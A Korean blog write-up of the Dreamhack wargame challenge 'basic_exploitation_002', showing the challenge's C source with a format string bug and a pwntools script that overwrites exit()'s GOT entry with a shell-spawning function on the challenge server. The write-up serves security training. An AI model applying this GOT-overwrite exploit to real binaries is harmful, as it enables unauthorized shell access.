[dreamhack] basic_exploitation_002

Monitor In Secure☃️·2024년 4월 30일

wargame_pwn

목록 보기
10/11

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

alarm_handler함수를 통해 제한시간이 걸려있다는 것을 알 수 있다.
get_shell 함수를 통해 /bin/sh로 시스템이 실행될 수 있다는 것을 알 수 있고, main 함수에는 read함수를 통해 변수 buf에 0x80(128)만큼 입력 받고, printf 함수로 buf를 출력한다는 사실 또한 파악할 수 있다.
여기서 'printf("%s", &buf);' 가 아닌 'printf(buf)'를 사용하고 있기 때문에 "Format String Bug" 취약점이 발생한다는 점을 알 수 있다. 때문에 마지막 코드 부분에서 'exit(0)' 부분에서 exit 대신 get_shell이 실행하도록 해야 한다.
이를 위해서는 exit의 got주소와 get_shell주소가 필요하다
(got : 초기에는 라이브러리 함수의 주소를 구하는 바이너리 코드 영역의 주소가 저장되어 있다가, 함수가 처음 호출되면서 라이브러리 함수의 실제 주소가 저장된다.)

exit의 GOT 주소 : 804A024
get_shell 주소 : 08048609

임의 문자 'aaaa'를 입력한 다음 '%x'의 값은 입력한 'aaaa'의 아스키 코드가 그대로 들어가는 것을 확인할 수 있다.

payload)
pwntools 모듈의 fmtstr_payload()를 사용해서 작성했다.

fmtstr_payload([buf를 가리키는 포맷스트링 N번째 수],{[exit()의 GOT]:[get_shell()]})

from pwn import *
import warnings

p = remote('host3.dreamhack.games',9403)
payload = fmtstr_payload(1,{0x804a024: 134514185})
p.sendline(payload)
p.interactive()

플래그가 출력되었다.

0개의 댓글